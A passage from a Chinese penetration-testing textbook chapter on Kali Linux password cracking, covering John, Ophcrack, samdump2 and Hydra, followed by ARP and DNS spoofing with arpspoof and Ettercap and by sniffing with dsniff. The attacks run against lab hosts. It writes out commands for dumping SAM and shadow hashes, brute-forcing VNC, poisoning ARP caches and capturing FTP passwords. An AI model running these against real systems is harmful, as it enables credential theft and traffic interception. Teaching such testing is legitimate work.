writing sorted rainbow table...

rtsort工具会用排序的结果覆盖原文件。

在rtsort程序的运行期间,请耐心等待程序结束。切勿中断程序,否则将会破坏彩虹表文件。

接下来,我们将使用5个字符字典的彩虹表碰撞(破解)密码的MD5哈希值。请注意,因为我们使用了两个彩虹表,所以成功率大约为86%。

rcrack

要在指令行中启动rcrack程序,可在终端中执行下述指令。

# rcrack

上述指令将会在屏幕上显示简单的使用说明以及指令范例。

本次将破解abcde 的MD5 散列值ab56b4d 92b40713acc5af89985d4b786。

# rcrack /usr/share/rainbowcrack/*.rt -h

ab56b4d92b40713acc5af89985d4b786

上述指令的运行结果如图10.11所示。

figure_0282_0117

图10.11

上述结果表明,rcrack程序成功地破解(碰撞)了给定哈希值的明文。整个破解过程的耗时大约为2秒。

rcrack的改进版本叫做rcracki_mt(https://www.freerain bowtables. com/en/download/)。改进版支持混合(hybrid)和索引(indexed)表,并且采用了多线程技术。

4.samdump2

Windows 2K/NT/XP/Vista 系统的账户密码,以哈希值的形式储存于 SAM 的文件型数据库里。samdunip2(http://sourceforge.net/projects/ophcrack/files/samdump2/)可破解这种哈希。无需SysKey(System Key),samdump2 程序就可破解密码的哈希值。SysKey是由Windows NT Service Pack 3引入的概念,它是保护 Windows SAM数据库的加密密钥。

如需启动samdump2,可在命令行中输入如下命令。

# samdump2

上述指令将会显示简单的使用说明。

获取Windows密码哈希值的方法有很多。

● 第一种方法:直接使用samdump2 程序分析Windows 系统和SAM文件。有关信息都保存在 c:\%windows%\system32\config目录下。不过,在Windows运行期间,该目录被锁定保护。所以,可通过Linux Live CD(例如Kali Linux)启动计算机系统,然后挂在 Windows 系统的磁盘分区。在此之后,您就可以把Windows的SAM文件复制到Kali主机上。

● 第二种方法:使用pwdump程序或同类型的相关工具把Windows账户的密码哈希值导出来。

● 第三种方法:参见上一章 Meterpreter 脚本的使用方法,再执行hashdump命令把密码的哈希值导出来。使用这种方法的前提是您首先要成功利用好主机的漏洞,并能够上传Meterpreter的脚本。

下一步,我们将演示Windows XP SP3 密码的破解方法。假设您已经取得system 和sam文件,将它们以同文件名保存在home目录下,那么破解哈希值的命令如下所示。

# samdump2 system sam -o test-sam

通过上述指令,我们把samdump2的输出结果保存为文件test-sam。这个文件的内容如下所示。

Administrator:500:e52cac67419a9a22c295285c92cd06b4:b2641aea8eb4c00ede89c d2b7c78f6fb:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08 9c0:::

HelpAssistant:1000:383b9c42d9d1900952ec0055e5b8eb7b:0b742054bda1d884809e 12b10982360b:::

SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:a1d6e496780585e33 a9ddd414755019a:::

tedi:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c08 9c0:::

接下来就可以用密码破解工具破解test-sam文件的哈希值。您可以选用下文介绍的John和Ophcrack。

5.John

John the Ripper/John(http://www.openwall.com/john/)是一款破解密码哈希的工具。目前,这款工具可以破解40 多种类型的密码哈希。它可破解常见的 DES、MD5、LM、NT、crypt、NETLM和NETNTLM型哈希。虽然破解哈希的软件有很多,但是DES和crypt型哈希的破解功能使John成为一枝独秀。

如需启动John程序,可在终端中使用下述指令。

# john

上述指令将会在屏幕上显示简单的使用说明。

John的密码破解模式分为以下4种。

● 字典模式(Wordlist mode):在这种模式下,用户只需要提供字典文件(wordlist)就可以破解密码文件。字典文件是包含密码备选值的文本文件,文件中的每行内容都将被当作一个用来进行碰撞测试的候选密码。这种模式具备“字词变化”(就是某种规则)的功能,(这种规则)可自动套用在每行的备选密码中,以提高破解的概率。--wordlist=<wordlist_ name>选项用于指定字典文件。这种字典可以是您自己制作的字典,也可以是他人制作的字典。许多网站都提供字典下载。例如, Openwall Project(John 的官方网站)就提供字典下载服务,详情请参见http://download. openwall.net/pub/wordlists/。

● 简易破解模式(Single crack mode):这是John程序作者推荐的应当首先尝试的破解模式。在这种模式下,John会使用登录名、全名和用户的home文件夹名作为测试的候选密码,并使用候选密码来碰撞(破解)相应账户的密码,或者破解使用相同salt加密的密码哈希。就结果而言,这种模式比字典模式要快得多。

● 增强型破解模式(Incremental mode):这种模式是John 各种模式里功能最强大的破解模式,它会尝试所有可能的密码组合。不过,如果用户不设置密码的测试区间,程序将会非常耗时。测试区间由密码长度的上限和字符集的设置构成。要这种破解模式破解密码,必须指定相应的破解模块。程序预设的模块有All、Alnum(字母和数字)、Alpha(字母)、Digits(数字)和 Lanman;您也可以根据实际需要自定义一个测试模块。

● 外部模式(External mode):在这种模式下,用户可以指定John程序使用外部(源)程序破解密码。如需使用这种模式,您首先应在配置文件里创建一个[List.External:MODE]的节点(section)。其中,MODE就是这种模式的一个(任意)名字,而这个节点的内容应当是C语言编写的生成候选密码的各种函数。以这种模式启动程序之后,John会编译这个节点内的源代码,并使用它进行密码破解。如需了解更多信息,可访问John的官方网站:http://www.openwall.com/john/doc/EXTERNAL.shtml。

如果没有明确指定John的破解模式,它将会按默认顺序进行破解:首先采用简易破解模式,然后尝试字典式破解,最后进行增强式破解。

在使用John程序之前,您首先需要拿到包含密码信息的哈希文件。UNIX一类的操作系统,密码哈希多数都保存在shadow文件和passwd文件里。另外,只有root级别的用户才能要读取shadow文件。

在获取密码信息文件之后,您需要对这些文件做一些处理;否则John无法破解其中的哈希。好在John提供的unshadow程序可进行这种处理。

我从Metasploitable2的虚拟机中提取出/etc/shadow和/etc/passwd,然后把它们放在同一个目录里,并分别重命名为etc-shadow和etc-passwd。然后,我使用下述指令将shadow和passwd文件进行合并处理。

# unshadow etc-passwd etc-shadow > pass

以下是pass文件的部分内容。

root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:0:0:root:/root:/bin/bash

sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh

klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false

msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash

postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:justa user,111,,:/home/user:/bin/bash

service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash

第二个字段为空的行,没有密码信息。可删除这些行以加快密码破解的速度。

可使用下述指令破解密码;其中,pass就是需要破解的密码文件,也就是刚刚合并处理的那个文件。

# john pass

如果John程序能够破解这些密码,它就会把破解的密码储存为john.pot。

如需查看破解出来的密码,可使用下述指令。

# john --show pass

在本例中,John快速地破解出了多个密码,并返回图10.12所示的信息。

figure_0286_0118

图10.12

由下表可见,John成功破解出了多个密码。

figure_0287_0119

上述密码文件(pass文件)包含有7个账户密码的信息,John成功地破解出了其中的6组密码。它没能快速破解出root的密码。

如需清空John程序的缓存,就要删除文件/root/.john/john.pot。

要破解Windows密码,就要使用pwdump(工具集)把SYSTEM和SAM文件中的密码哈希值(LM和/或NTLM算法)提取出来。如需了解这个工具集的各款工具,请参见http://www. openwall.com/passwords/pwdump。Kali Linux收录了其中的samdump2程序。

接下来,我们使用字典文件 password.lst 破解 samdump2 导出的哈希信息。此时需要使用的指令如下所示。

# john test-sam --wordlist=password.lst --format=nt

上述指令的运行信息如图10.13所示。

figure_0287_0120

图10.13

上述信息表明,test-sam文件中的管理员密码如下所示。

password01

然后我们通过下述指令查看破解的结果(见图10.14)。

# john test-sam --format=nt --show

figure_0287_0121

图10.14

上述信息表明:John 成功破解出了 Windows 主机的管理员密码,但是它未能破解出常规用户tedi的密码。

6.Johnny

如果您对John程序复杂的命令行指令望而却步,那么您可能会喜欢它的图形化版本——Johnny(http://openwall.info/wiki/john/johnny)。Johnny 程序的图形化界面非常友好,您不必在命令行里逐一指定John程序的各个选项。

如需启动Johnny程序,可在终端中使用下述指令。

# johnny

上述指令将启动Johnny的图形化界面。

我们使用这个程序分析前一个例子中 Metasploitable 2 系统的哈希。其分析结果如图10.15所示。

figure_0288_0122

图10.15

上述信息表明,Johnny破解哈希的能力和John程序相同。

7.Ophcrack

Ophcrack是一款基于彩虹表的破解工具。它可破解LM和NTLM型的Windows的密码哈希。这款程序有命令行版本,也有图形化界面的版本。因为它属于彩虹表破解工具,所以Ophcrack采用的破解策略同样是以空间换时间的策略。

Windows NT 和早期的 Windows 系统(包括 2000/XP)采用 LAN Manager(LM)保存用户密码的哈希。如需深入了解LM哈希,请参阅http://technet.microsoft.com/en-us/library/dd277300.aspx。

后来,微软推出了NT LAN Manager(NTLM)哈希,以替代LM哈希。NTLM 算法可对账号进行认证,并实现了会话的完整性和保密性。Windows NT SP4开始,Windows系统开始逐步采纳更为安全的NTLM v2的算法。这种新算法增强了服务器和用户之间的认证功能。微软已经不再推荐用户使用NTLM哈希,具体原因请参见http://msdn.microsoft. com/en-us/library/cc236715.aspx。

有关NTLM 和NTLM v2的区别,请参见http://msdn.microsoft.com/en-us/library/cc236701.aspx。

如需在命令行中启动Ophcrack程序,可在终端中使用下述指令。

# ophcrack-cli

上述指令将会在屏幕上显示简单的使用说明及相关范例。

如需启动Ophcrack GUI,可在终端中使用下述指令。

# ophcrack

上述指令将会启动Ophcrack GUI(图形化界面)。

Ophcrack 需要彩虹表才能进行破解哈希。所以,我们先要先从其官方网站(http://ophcrack.sourceforge.net/tables.php)下载彩虹表。目前,官方免费提供Windows XP 和Vista 彩虹表。对于字符集为数字和英文大小写字母的密码、且长度在10~14个字符以内的常规密码,它的破解成功率高达99%以上。

以xp_free_small为例。下载它之后,我们将其解压缩并把解压后的文件放进xp_free_small 目录。然后Windows XP 的散列文件以pwdump 格式保存为文件test-sam。

接下来,我们使用下述命令破解先前获取的哈希。

# ophcrack -d fast -t fast -f test-sam

在运行期间,Ophcrack的提示信息如下。

Four hashes have been found in test-sam:

Opened 4 table(s) from fast.

0h 0m 0s; Found empty password for user tedi (NT hash #1)

0h 0m 1s; Found password D01 for 2nd LM hash #0

0h 0m 13s; Found password PASSWOR for 1st LM hash #0in table XP free fast #1 at column 4489.

0h 0m 13s; Found password password01 for user Administrator (NT hash #0)

0h 0m 13s; search (100%); tables: total 4, done 0, using 4; pwd found 2/2.

程序的运行结果如下。

Results:

username / hash LM password  NT password

Administrator  PASSWORD01  password01

tedi    *** empty ***  *** empty ***

可见,Ophcrack 破解了相应用户的所有密码。

8.Crunch

Crunch(http://sourceforge.net/projects/crunch-wordlist/)是一款基于用户标准来创建密码字典(wordlist)的工具。密码字典通常用于暴力破解。

如需启动Crunch程序,可在终端中使用下述指令。

# crunch

上述指令将会在屏幕上显示简单的使用说明及相关范例。

如果要创建由字母组成的密码长度在5个字符以内密码字典,并指定密码字典的文件名为5chars.txt,我们可使用下述指令。

# crunch 1 5 –o 5chars.txt

上述指令的输出内容如图10.16所示。

figure_0290_0123

图10.16

文件5chars.txt的内容如下。

a

b

c

...

zzzzx

zzzzy

zzzzz

这个文件的内容表明,上述指令创建了从a到zzzzz的各种字符串,并将其组织为密码字典。

接下来,我们要创建由小写字母和数字组成的密码长度在 4 个字符以内的密码字典,并指定字典文件的文件名为wordlist.lst。

根据以上需求,我们需要使用下述指令。

# crunch 1 4 -f /usr/share/crunch/charset.lst lalpha-numeric

-o wordlist.lst

上述指令的输出内容如下。

Crunch will now generate the following amount of data: 8588664 bytes

8 MB

0 GB

0 TB

0 PB

Crunch will now generate the following number of lines: 1727604

100%

在我的主机上执行上述指令,耗时大约1.5分钟。密码字典wordlist.lst的内容如下。

a

b

c

...

9997

9998

9999

10.2.2 在线破解工具

前文介绍了几款离线破解密码的工具。本节将介绍在线破解密码的工具。所谓在线破解,意味着这类工具在与被测主机建立连接之后才能破解密码。

本节将要介绍的工具可分为以下几类:

● 制作密码字典;

● 搜索密码的哈希值;

● 在线密码破解工具。

本节首先会讲解两款根据被测网站信息制作密码字典的工具,然后会介绍几款在线破解密码的工具。

在线密码破解工具会采取常规用户登录的方式,以用户名和密码登录远程主机的网络服务。它会不断尝试各种用户名和密码,直到发现正确的账户信息为止。

这类工具存在暴露的风险。因为测试主机会直接连接到被测主机,所以可能会被对方发现甚至会被屏蔽。因为这些工具使用的是标准登录过程,所以在破解效率方面比离线攻击软件的效率更高。

虽然在线攻击工具速度不快,也可能触发帐户锁定机制,但是对于 SSH、Telnet 和FTP这类服务来说,在线攻击是密码破解的唯一方式。在进行在线的密码攻击时,务必加倍小心;尤其是在攻击 Active Directory(AD)服务器的账户时,暴力破解可能会锁定所有的域账户。要避免发生锁定账户的情况,不仅要事先查看密码和用户锁定策略,在测试密码时最好还要使用同一个密码对所有用户名进行测试(轮换用户名,而不是轮换密码)。

1.CeWL

CeWL(Custom Word List)(http://www.digininja.org/projects/cewl.php)是一款以爬虫模式在指定URL上收集单词的工具。把它收集到的单词纳入密码字典,可提高密码破解工具(例如John the Ripper)的命中率。

CeWL程序有很多选项,其中较为常用的如下所示。

● --depth N 或-d N:提取深度,分析 N 级链接以内的网页内容;提取深度的默认值是2。

● --min_word_length N 或-m N:单词的最小长度,少于N 个字符的单词不会被收录;单词最小长度的默认值是3。

● --verbose 或-v:详细提示模式。

● --write 或-w:设定输出文件的文件名。

如果在运行CeWL时遇到Error: zip/zip gem not installed错误,那么就要使用gem install zip/zip 指令安装相应的功能包:

# gem install zip

Fetching: zip-2.0.2.gem (100%)

Successfully installed zip-2.0.2

1 gem installed

Installing ri documentation for zip-2.0.2...

Installing RDoc documentation for zip-2.0.2...

结合上述选项,我们使用下述指令从目标网站收集单词。

cewl -w target.txt http://www.target.com

稍等片刻之后,程序会把收集到的单词保存为文件target.txt。在Kali系统里,这个文件位于目录/usr/share/cewl。

我们打开上述目录里的target.txt文件,可以看到下述内容。

Device

dataset

sauerlo

Sauer

agentChange

ouput

fileWrite

oBy

strips

mThe

270

Specialforces

Damian

GoD

zERo

zine

Disney

N00bz

xThe

Cracked

Question

Marc

Doudiet

Swiss

Strafor

Electric

Alchemy

2.Hydra

Hydra是一款猜测并破解用户名和密码的工具。它支持多种网络协议,可破解HTTP、FTP、POP3和SMB等协议的密码。它会使用字典并行穷举网络服务的用户名和密码。默认情况下,它向目标主机发起16个并行连接同时进行多组测试。

如需启动Hydra程序,可在终端中使用下述指令。

# hydra

上述指令将会在屏幕上显示简单的使用说明。

本例将演示使用hydra程序破解192.168.56.101的VNC服务器的密码。如果密码字典的文件名是password.lst,我们可使用下述指令。

# hydra -P password.lst 192.168.56.101 vnc

上述指令的运行结果将如图10.17所示。

上述信息表明,Hydra 成功地破解了 VNC 服务器的密码。被测服务器使用的密码是password01和password。

figure_0295_0124

图10.17

下一步工作就是验证Hydra破解的密码。我们可直接运行vncviewer程序,使用这些密码连接到远程主机的VNC服务器。

使用vncviewer验证密码的情况如图10.18所示。

figure_0295_0125

图10.18

上述信息表明,破解的密码可以连接到VNC服务器,而且该密码还具有服务器的root权限。捡到大便宜了!

Hydra程序有一个对应的GUI程序。

# xhydra

上述指令将会启动Hydra的GTK图形界面程序。使用这个程序破解SSH服务密码的情况如图10.19所示。

figure_0296_0126

图10.19

经验表明,xhydra程序不如其命令行程序hydra那样灵活,不能调整很多设置。例如,在破解 VNC 服务时,xhydra无法设置用户名;更为不幸的是,它就没有设置用户名的功能。

3.Medusa

Medusa是另外一款在线破解网络服务密码的程序。它具有速度快、并发性能强和模板化的特点。现在,它能够通过相应模板破解CVS、FTP、HTTP、IMAP、MS-SQL、MySQL、NCP(NetWare)、PcAnywhere、POP3、PostgreSQL、rexec、Rlogin、rsh、SMB、SMTP(VRFY)、SNMP、SSHv2、SVN、Telnet、VmAuthd、VNC协议,另有一个通用处理模板。

有关Medusa和Hydra的具体区别,请参见http://foofus.net/goons/jmk/medusa/medusa-compare.html。

在实际的渗透测试工作中,可同时使用这两款工具、尽可能地获取被测主机的各种信息。

如需启动Medusa工具,可在终端中使用下述指令。

# medusa

上述指令将会在屏幕上显示简单的使用说明。

Medusa程序有很多选项,其中常用的一些选项如下所示。

● -u 或-U[FILE]:指定用户名或用户名字典。

● -h 或-H[FILE]:指定主机名或主机名字典。

● -p 或-P[FILE]:指定密码或密码字典。

● -M:配置测试所用的模板的名称。亦可通过-d 选项搜索模板。

● -O:设置输出文件的文件名。

● -V:设置提示信息的详细程度。如果使用了-v 4 选项,将只能看到成功破解的登录凭据。

前面,我们用Hydra破解了VNC服务器的密码;现在我们再用Medusa作一次相同的破解试验。

# medusa -u root -P password.lst -h 192.168.56.101 -M vnc -v 4

上述指令的运行结果如下。

Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks

<jmk@foofus.net>

ACCOUNT FOUND: [vnc] Host: 192.168.56.101 User: root Password:

password [SUCCESS]

Medusa只找到了一个VNC密码;相比之下,Hydra能够找到了两个VNC密码。

10.3 网络欺骗工具

前面介绍了多款破解密码的工具。本节将探索通过网络欺骗的手段提升权限的各种方法。

网络欺骗(network spoofing)泛指修改网络数据的各种手段。例如,伪造MAC 地址、伪造IP地址等的数据,都属于网络欺骗的范畴。网络欺骗旨在于获取网络上两个会话主机的通信数据。

10.3.1 DNSChef

DNSChef(http://thesprawl.org/projects/dnschef/)是一款DNS代理工具。它可替DNS服务器对被测主机进行DNS回复,把域名解析为攻击者管控的IP,从而让攻击者的主机扮演真正的服务器的角色。DNSChef的这种功能可用来分析甚至控制客户主机的网络流量。

在使用DNSChef之前,您需要对被测主机进行调整,指定DNSChef的主机为被测主机的DNS服务器。

● 如果被测主机安装的是Linux 系统,那么您应当修改/etc/resolv.conf 文件。

● 如果被测主机安装的是 Windows,您可通过控制面板的网络连接选项进行相应的设置。

在没有权限更改被测主机 DNS 服务器设置的情况下,您就需要使用其他手段(例如ARP欺骗并搭设一个伪DHCP服务器等)劫持被测主机的DNS请求。

本例涉及2台主机,一台是运行DNSChef的主机,其IP为192.168.2.21;另一台是被测(受害人的)主机,其IP是192.168.2.22。简便起见,我们用Metasploitable的虚拟机充当被测主机。

首先,我们要对DNSChef进行设置。

1.设置为DNS代理

第一步是把DNSChef设置为DNS代理服务器。我们要在DNSChef的主机上运行下述指令。

# dnschef

而后调整这台主机的DNS设置,使之使用本机(localhost)的DNS服务器。

然后使用下述命令查询google.com的DNS记录。

host -t A google.com

上述指令向DNSChef发起DNS查询,应当会显示图10.20所示的信息。

这种设置将DNSChef调整为DNS代理服务器。它将所有DNS解析请求转发到上游解析服务器。本例中,它的上游DNS服务器是8.8.8.8。

figure_0299_0127

图10.20

2.伪造域名记录

在伪造google.com的域名记录之前,先来看看google.com的原始解析结果(见图10.21)。

figure_0299_0128

图10.21

现在,我们要伪造 google.com 有关的 DNS 响应。和前一个例子里的情况一样,首先要修改/etc/resolv.conf文件,令被测主机使用DNSChef作为其DNS服务器。

接下来在DNSChef所在的主机上使用下述指令。

# dnschef --fakeip=192.168.2.21 --fakedomains google.com

--interface 192.168.2.21 -q

而后我们在被测主机查询google.com的IP地址。

$ host -t A google.com

上述指令的运行结果如下。

google.com has address 192.168.2.21

此时,运行DNSChef的主机将提示图10.22所示的信息。

figure_0300_0129

图10.22

Kali集成的是v0.1版本的DNSChef程序。这个版本不支持IPv6。如果需要在IPv6的网络中使用这个程序,您需要将其升级为 v0.2 版(https://thesprawl.org/media/projects/dnschef-0.2.1.tar.gz)。

如需在IP v6 的网络里使用DNSChef程序,就要在指令行里启用-6 选项。

此时,域名 google.com 的 IPv6 的真正地址是 2404:6800:4003:802::1003。DNSChef主机的IPv6地址是fe80::a00:27ff:fe1c:5122/64。

在DNSChef服务器中,使用下述指令伪造google.com的IPv6地址。

dnschef.py -6 --fakeipv6 fe80::a00:27ff:fe1c:5122 --interface :: -q

10.3.2 arpspoof

arpspoof 是一款在交换网络中辅助进行网络监听的实用工具。前文提过,在使用交换机进行数据交换的网络环境里很难进行网络监听,但arpspoof可以辅助我们完成这项任务。

arpspoof用于伪造网络中两台设备的ARP通信。

常规情况下,当主机A要和主机B(网关)进行通信的时候,主机A会广播ARP请求以获取主机B 的MAC 地址。此后,主机B 将会回应这个ARP 请求,在ARP Reply 数据包里声明自己的MAC地址;与此同时,主机B也会将ARP广播中主机A的MAC地址记录下来。此后,主机A和主机B才能开始通信(见图10.23)。

figure_0300_0130

图10.23

如果攻击者C想要监听主机A和主机B之间的网络流量,则可以向主机A发送ARP回复,告诉它主机B使用的是主机C的MAC地址(33.33.33.33.33.33);而后它还要通告主机B,“主机A的MAC地址是33.33.33.33.33.33”(见图10.24)。

figure_0301_0131

图10.24

在ARP欺骗生效之后,主机A和主机B之间的所有网络数据包都会通过主机C转发。

在使用arpspoof之前,需要在Kali Linux(运行ARPspoof)的主机上启用IP 转发功能。这就需要以root用户的身份执行下述指令。

# echo 1 > /proc/sys/net/ipv4/ip_forward

要通过指令行界面启动arpspoof程序,可在终端中执行下述指令。

# arpspoof

上述指令将会在屏幕上显示程序的使用说明。

本例的试验环境的具体情况如下所示。

网关的配置信息如下。

● MAC 地址:00-50-56-C0-00-08

● IP 地址:192.168.65.1

● 子网掩码:255.255.255.0

被测主机的配置如下。

● MAC 地址:00-0C-29-35-C9-CD

● IP 地址:192.168.65.129

● 子网掩码:255.255.255.0

测试主机的配置如下。

● MAC 地址:00: 0C: 29: 09: 22: 31

● IP 地址:192.168.65.130

● 子网掩码:255.255.255.0

在启动程序以前,被测主机的ARP缓存如下所示。

Interface: 192.168.65.129 --- 0x30002

Internet Address Physical Address Type

192.168.65.1  00-50-56-c0-00-08 dynamic

通过以下命令,对被测主机实施ARP欺骗。

# arpspoof -t 192.168.65.129 192.168.65.1

在被测主机上稍等片刻,然后用 ping 命令测试网关的连接情况。被测主机的 ARP 缓存很快就就会改变为下述内容。

Interface: 192.168.65.129 --- 0x30002

Internet Address Physical Address Type

192.168.65.1  00-0C-29-09-22-31 dynamic

上述信息表明,在被测主机的ARP缓存里,网关的MAC地址由00-50-56-c0-00-08改变为00-0C-29-09-22-31。新的MAC地址是测试主机的MAC地址。从中可以看出,网关对应MAC地址已经变成攻击者机器的MAC地址。

10.3.3 Ettercap

Ettercap(http://www.ettercap-project.org/)是一款在LAN中进行中间人攻击的工具集。它通过ARP攻击充当网络通信的中间人。一且ARP协议的攻击奏效,它就能够:

● 修改数据连接;

● 截获FTP、HTTP、POP 和SSH1 等协议的密码;

● 通过伪造SSL 证书的手段劫持被测主机的HTTPS 会话。

ARP协议(地址解析协议)用来把IP地址解析为物理地址(MAC地址)。当某个网络设备需要与其他网络资源通信时,它会通过ARP广播查询目标设备的MAC地址,目标设备也会通过ARP协议的数据包回复自己的MAC地址。此后,通信双方都会将IP和MAC的对应信息保存到自己的ARP缓存中,以节省后续通信的查询时间。

在某台主机要进行通信时,它首先会查询对方IP地址的MAC地址。此时,攻击人员可将自己主机回复给查询MAC地址的主机,以进行中间人攻击。这种攻击叫做ARP毒化(污染)攻击和ARP欺骗。只有当攻击主机和被测主机处于同一网段的时候,这种攻击才会有效。

Kali Linux 提供的Ettercap 工具可以实施这种攻击。Ettercap 有三种操作模式:文本模式、仿图形(curses,以字符模拟图形界面)模式和GTK界面的图形樸式。

若要以文本模式启动Ettercap程序,可在终端中使用下述指令。

# ettercap -T

若要以仿图形模式启动它,可在终端中使用下述指令。

# ettercap -C

若要进入Ettercap的图形模式,可在终端中使用下述指令。

# ettercap -G

本例将使用Ettercap程序进行DNS欺骗攻击。各主机采用了前一个例子的配置方法。此外,本例要使用额外的两台主机:IP为192.16S.2.1的DNS服务器;一台诱导被测主机连接的IP地址为192.168.2.22的Web服务器。攻击人员测试主机的IP地址为192.168.2.21。

欺骗攻击的详细步骤如下。

1. 进入Ettercap 的图形模式。

2. 在菜单里依次选中Sniff | Unified sniffing,选则相应的网卡,如图10.25 所示。

figure_0303_0132

图10.25

3. 在菜单中选择Hosts | Scan for hosts,扫描网络中的主机。

4. 在菜单中选择Hosts | Hosts list,査看当前联网的主机。

5. 指定要欺骗的主机。本例中,我们选择192.168.2.1(DNS 服务器)作为第一目标。在主机列表中,选中这个IP,然后点击Add to Target 1。接下来,选中192.168.2.22并把它添加为第二目标Add to Target 22,如图10.26 所示。

figure_0304_0133

图10.26

6. 在菜单里依次选中Mitm| Arp poisoning,以启动ARP 攻击。现在DNS 服务器和被测的MAC 地址均认为对方的IP 使用的是攻击人员主机的MAC 地址。

7. 调整配置文件/usr/share/ettercap/etter.dns,将诱导服务器的 IP 地址绑定在需要欺骗(拦截)的域名上。

google.com  A  192.168.2.21

*.google.com A  192.168.2.21

www.google.com PTR 192.168.2.21

这将把被测主机与google.com之间的全部通信诱导到攻击人员部署的Web服务器上。

8. 在菜单里依次选中 Plugins | Manage the plugins,然后双击(激活)dns_spoof插件(见图10.27)。

9. 最后,我们在被测主机上打开浏览器,访问google.com。这将看到图10.28 所示的信息。

figure_0305_0134

图10.27

figure_0305_0135

图10.28

上述情况表明,DNS欺骗已经奏效。被测主机没有看到真正的Google网站,它的浏览器访问的是攻击人员部署的Web服务器。

10. 如需停止攻击,可在菜单中依次选中Mitm | Stop mitm attack(s)。

即使觉得图形界面的操作过于繁琐,您也不必担心。在Ettercap的文本模式里,这些操作要简洁得多。

在文本模式里,以下指令就可完成刚才的前8步操作(第7步除外)。

# ettercap -i eth0 -T -q -P dns_spoof -M ARP /192.168.2.1//192.168.2.22/

上述指令的运行结果如下。

Scanning for merged targets (2 hosts)...

2 hosts added to the hosts list...

ARP poisoning victims:

GROUP 1 : 192.168.2.1 F4:EC:38:EC:07:DC

GROUP 2 : 192.168.2.22 08:00:27:43:15:18Starting Unified sniffing...

Activating dns_spoof plugin...

dns_spoof: [safebrowsing-cache.google.com] spoofed to [192.168.2.21]

只要熟悉了Ettercap各选项的使用方法,就会发现Ettercap的文本模式十分方便。在文本模式里,按Q键就可退出程序。

10.4 网络嗅探器

网络嗅探器器是监视网络数据的软件程序或硬件设备。人们往往利用它复制网络数据的功能来检测网络数据。借助这类工具,您可以看到网络中正在传输的信息。

不久之前,网络嗅探器只是网络工程师用来解决网络问题的工具。但是,它确实可以用来作恶。如果网络数据以明文传输,且计算机之间通过集线器交换数据,那么网络里的通信信息,例如用户名、密码、邮件内容等,将很容易被他人捕获。幸运的是,如果使用交换机组网,那么捕获数据的难度会高一些,但是他人仍然能够捕获信息。

许多工具程序都可用作网络嗅探器。本章将介绍几款Kali Linux 收录了的网络嗅探器。多数情况下,您需要在嗅探数据以前进行网络欺骗攻击(请参考10.3节),因为它通常是成功施行网络嗅探的前提。

10.4.1 Dsniff

Dsniff 能够在网络中捕获密码。目前,它可从以下协议中捕获密码:FTP、Telnet、SMTP、HTTP、POP、poppass、NNTP、IMAP、SNMP、LDAP、Rlogin、RIP、OSPF、PPTP MS-CHAP、NFS、VRRP、YP/NIS、SOCKS、X11、CVS、IRC、AIM、ICQ、 Napster、PostgreSQL、Meeting Maker、Citrix ICA、Symantec pcAnywhere、NAI Sniffer、Microsoft SMB、Oracle SQL*Net、Sybase 以及Microsoft SQL。

如需启动dsniff程序,可在终端中使用下述指令。

# dsniff -h

上述指令将会在屏幕上显示程序的使用说明。我们将使用它捕获FTP 密码。在本例的演示中,FTP客户端的IP是192.168.2.20,服务器IP则是192.168.2.22,这两台主机通过集线器连接。攻击人员的主机IP为192.168.2.21。

在攻击人员的测试主机上执行下述指令。

# dsniff -i eth0 -m

其中,选项-i eth0 将使Dsniff 程序监听eth0 网卡。而选项-m 则用于启用程序的自动协议检测功能。

然后,在装有FTP客户端程序的主机上,使用客户端程序登录FTP服务器。

dsniff的运行结果如下。

dsniff: listening on eth0

----------------

20/08/13 18:54:53 tcp 192.168.2.20.36761 -> 192.168.2.22.21 (ftp)

USER user

PASS user01

从中可以看到,dsniff捕获了客户端登录FTP服务器时所用的用户名和密码。

10.4.2 tcpdump

tcpdump程序是一款网络嗅探器,它可以捕获符合条件表达式的网络数据包。在没有指定条件表达式的情况下,它会显示所有网络数据包。而在指定条件表达式的情况下,它只会捕获符合条件表达式的数据包。

tcpdump还可以将网络数据包存储为文件,或从文件中读取网络数据。

如需启动tcpdump程序,可在终端中执行下面这类指令。

# tcpdump –i eth0 –s 96

这个命令将监听eth0 网卡(-i eth0),捕获大小为96 字节(-s 96)的数据包。

现在尝试嗅探从IP地址10.0.2.15到10.0.2.100的ICMP封包,这里设置嗅探eth0 接口(-i eth0),不需要把地址转换成主机名(-n),不需要打印时间戳(-t),用十六进制格式和ASCII格式打印封包头和数据(-X)。在主机10.0.2.15处输入:

# tcpdump -n -t -X -i eth0 –s 64 icmp and src 192.168.56.102 and dst192.168.56.101

上述指令的运行结果如图10.29所示。

figure_0308_0136

图10.29

因为指定了条件表达式,tcpdump程序只会显示符合条件表达式的网络数据包。在上述指令中,我们限定程序只显示由IP为192.168.56.102的主机向IP为192.168.56.101的主机发送的ICMP数据包。

10.4.3 Wireshark

Wireshark是一个网络协议分析程序。它的图形程序可对它捕获的数据包进行可视化分析,有助于使用人员理解数据包中的各种信息。

Wireshark的特征有:

● 能够分析1000 多种网络协议;

● 能够实时捕获网络数据包,并能对数据包进行离线分析;

● 它具有业内功能最强大的数据包整理(显示过滤)功能;

● 它的GUI 图形界面程序和命令行程序TShark 都可以显示数据包;

● 支持(读写)多种文件格式的数据包文件。兼容tcpdump(libpcap)、Network GeneralSniffer、Cisco Secure IDS iplog、Microsoft Network Monitor 等程序的文件格式;

● 可从IEEE 802.11、蓝牙、以太网设备实时读取数据;

● 可将结果导出为XML、Postscript、CSV 和文本格式的文件。

